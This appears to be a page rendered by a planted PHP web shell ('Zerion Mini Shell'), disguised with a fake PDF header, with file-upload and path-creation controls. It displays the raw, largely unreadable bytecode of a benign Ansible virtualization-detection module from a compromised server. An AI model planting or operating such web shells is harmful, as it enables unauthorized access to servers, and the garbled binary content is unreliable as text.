%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.9/site-packages/ansible/module_utils/facts/virtual/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.9/site-packages/ansible/module_utils/facts/virtual/__pycache__/sysctl.cpython-39.pyc

a

�)g��@s4ddlmZmZmZeZddlZGdd�de�ZdS)�)�absolute_import�division�print_functionNc@s$eZdZdd�Zdd�Zdd�ZdS)�VirtualSysctlDetectionMixincCs|j�d�|_dS)NZsysctl)�moduleZget_bin_path�sysctl_path)�self�r	�M/usr/lib/python3.9/site-packages/ansible/module_utils/facts/virtual/sysctl.py�
detect_sysctlsz)VirtualSysctlDetectionMixin.detect_sysctlc	Cs�i}t�}t�}d}|��|j�r�|j�d|j|f�\}}}|dk�r�t�d|�rx|�d�|sxd|d<d|d<d	}t�d
|�r�|�d�|s�d|d<d|d<d	}|��dkr�|�d
�|s�d
|d<d|d<d	}t�d|��r|�d�|�sd|d<d|d<d	}|��dk�r8|�d�|�s8d|d<d|d<d	}|��dk�rj|�d�|�sjd|d<d|d<d	}|��dk�r�|�d�|�s�d|d<d|d<d	}|dk�r�|��dk�r�|�d�|�s�d|d<d|d<d	}||d<||d<|S)NF�%s -n %srz(KVM|kvm|Bochs|SmartDC).*�kvm�virtualization_type�guest�virtualization_roleTz
.*VMware.*ZVMwareZ
VirtualBoxZ
virtualboxz"(HVM domU|XenPVH|XenPV|XenPVHVM).*ZxenzHyper-VZ	ParallelsZ	parallelszRHEV HypervisorZRHEVzsecurity.jail.jailed�1Zjails�virtualization_tech_guest�virtualization_tech_host)	�setrrr�run_command�re�match�add�rstrip)	r�keyZvirtual_product_facts�	host_tech�
guest_techZ
found_virt�rc�out�errr	r	r
�detect_virt_productsv








z/VirtualSysctlDetectionMixin.detect_virt_productcCs�i}t�}t�}|��|jr�|j�d|j|f�\}}}|dkr�|��dkrh|�d�d|d<d|d<|��dkr�|�d	�d	|d<d|d<||d
<||d<|S)NrrZQEMUr
rrrZOpenBSDZvmmrr)rrrrrrr)rrZvirtual_vendor_factsrrrrrr	r	r
�detect_virt_vendor]s$

z.VirtualSysctlDetectionMixin.detect_virt_vendorN)�__name__�
__module__�__qualname__rr r!r	r	r	r
rsCr)	Z
__future__rrr�typeZ
__metaclass__r�objectrr	r	r	r
�<module>s

Zerion Mini Shell 1.0